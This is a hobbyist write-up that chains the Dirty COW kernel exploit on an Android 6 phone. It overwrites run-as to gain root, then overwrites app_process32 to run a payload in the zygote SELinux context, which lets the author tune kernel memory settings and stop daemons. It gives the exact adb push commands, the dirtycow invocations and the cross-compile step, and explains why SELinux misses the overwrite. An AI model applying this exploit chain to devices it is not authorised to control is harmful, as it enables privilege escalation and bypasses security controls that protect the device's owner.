Context
Dirty COW (Hack #34) gives uid=0 root, but the SELinux context remains u:r:shell:s0. On Android 6, the shell domain cannot write to /proc/sys/ (kernel tuning), /data/system/ (package state), or /sys/ (lowmemorykiller parameters). Even with root uid, SELinux blocks the operations.
The key insight is that the COW race condition writes to files via madvise(MADV_DONTNEED) + /proc/self/mem, which bypasses the normal write() syscall. SELinux hooks into write() but not into the page cache manipulation that Dirty COW exploits. By overwriting app_process32 (which runs as u:r:zygote:s0), we can execute arbitrary code in the zygote SELinux context, which has permissions to write kernel parameters and control services.
Implementation
Two-phase approach: first overwrite run-as for root, then overwrite app_process32 for zygote context.
The payload binary is cross-compiled on Windows with NDK:
# Cross-compile the 2232-byte ARM payload (Windows NDK)
$CC -nostdlib -static -Os -fno-stack-protector -o fix-zygote2 fix-zygote2.c
# Result: 2232 bytes, ELF 32-bit ARM static binary
# Push to phone:
adb push fix-zygote2 /data/local/tmp/
adb push dirtycow /data/local/tmp/
adb push run-as-payload /data/local/tmp/Execute the two-phase exploit from ADB shell:
# Phase 1: Get root via run-as overwrite
./dirtycow run-as-payload /system/bin/run-as
# "patch successful, iterations 1"
# Phase 2: Overwrite app_process32 with zygote payload
./dirtycow fix-zygote2 /system/bin/app_process32
# Wait ~10s for init to restart zygote with our payload
# The payload runs as zygote (u:r:zygote:s0) and can:
# - Write to /proc/sys/vm/* (kernel tuning)
# - ctl.stop daemons via property_set
# - Modify lowmemorykiller parameters
# Sync and reboot to restore app_process32 from disk
echo 'sync; sync; sync' | /system/bin/run-as
rebootVerification
# After reboot, verify kernel parameters were applied:
adb shell cat /proc/sys/vm/vfs_cache_pressure
# Expected: 500 (set by payload)
adb shell cat /proc/sys/vm/min_free_kbytes
# Expected: 2048 (set by payload)
# Verify daemons are stopped:
adb shell getprop | grep -E "drmserver|qcamerasvr|audiod"
# Expected: ctl.stop properties setGotchas
- The app_process32 overwrite is in page cache only — reboot restores the original from disk. This is both a safety feature and a limitation (must re-run after every reboot)
- The zygote restart takes ~10 seconds. During this time, ALL apps are killed and restarted (zygote is the parent of all Android apps)
- The payload must be exactly the same size as app_process32 (or smaller, padded with NOPs). Larger payloads corrupt the binary
-nostdlib -staticis required because the payload runs before the linker is available- If the payload crashes, zygote enters a restart loop. init will restart it with the original binary after ~30 seconds
Result
| Metric | Before | After |
|---|---|---|
| SELinux bypass | Shell context only | Zygote context |
| Kernel tuning | Blocked | vfs_cache_pressure, min_free_kbytes |
| Daemon control | Cannot ctl.stop | 6 daemons stopped |
| Available RAM | ~350 MB | ~450 MB |